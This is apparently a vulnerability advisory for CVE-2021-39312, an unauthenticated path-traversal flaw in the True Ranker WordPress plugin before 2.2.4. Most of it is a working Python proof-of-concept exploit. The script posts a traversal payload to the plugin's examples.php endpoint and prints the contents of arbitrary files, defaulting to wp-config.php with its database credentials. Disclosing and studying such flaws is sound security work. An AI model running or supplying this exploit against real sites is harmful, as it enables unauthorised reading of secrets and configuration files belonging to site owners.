True Ranker < 2.2.4 – Unauthenticated Arbitrary File Access via Path Traversal | CVE 2021-39312

Description

The plugin allows arbitrary files, including sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file.

Proof of Concept

# Exploit Authors: Nicole Sheinin, Liad Levy
# Tested on: MacOS 
#!/usr/bin/env python3

import argparse, textwrap
import requests
import sys

parser = argparse.ArgumentParser(description="Exploit The True Ranker plugin - Read arbitrary files", formatter_class=argparse.RawTextHelpFormatter)                     
group_must = parser.add_argument_group('must arguments')
group_must.add_argument("-u","--url", help="WordPress Target URL (Example: http://127.0.0.1:8080)",required=True) 
parser.add_argument("-p","--payload", help="Path to read  [default] ../../../../../../../../../../wp-config.php", default="../../../../../../../../../../wp-config.php",required=False) 

args = parser.parse_args()

if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")          
    sys.exit()  

HOST = args.url
PAYLOAD = args.payload

url = "{}/wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php".format(HOST)
payload = "/scripts/simple.php/{}".format(PAYLOAD)


r = requests.post(url,data={'src': payload})
if r.status_code == 200:
  print(r.text)
else:
  print("No exploit found")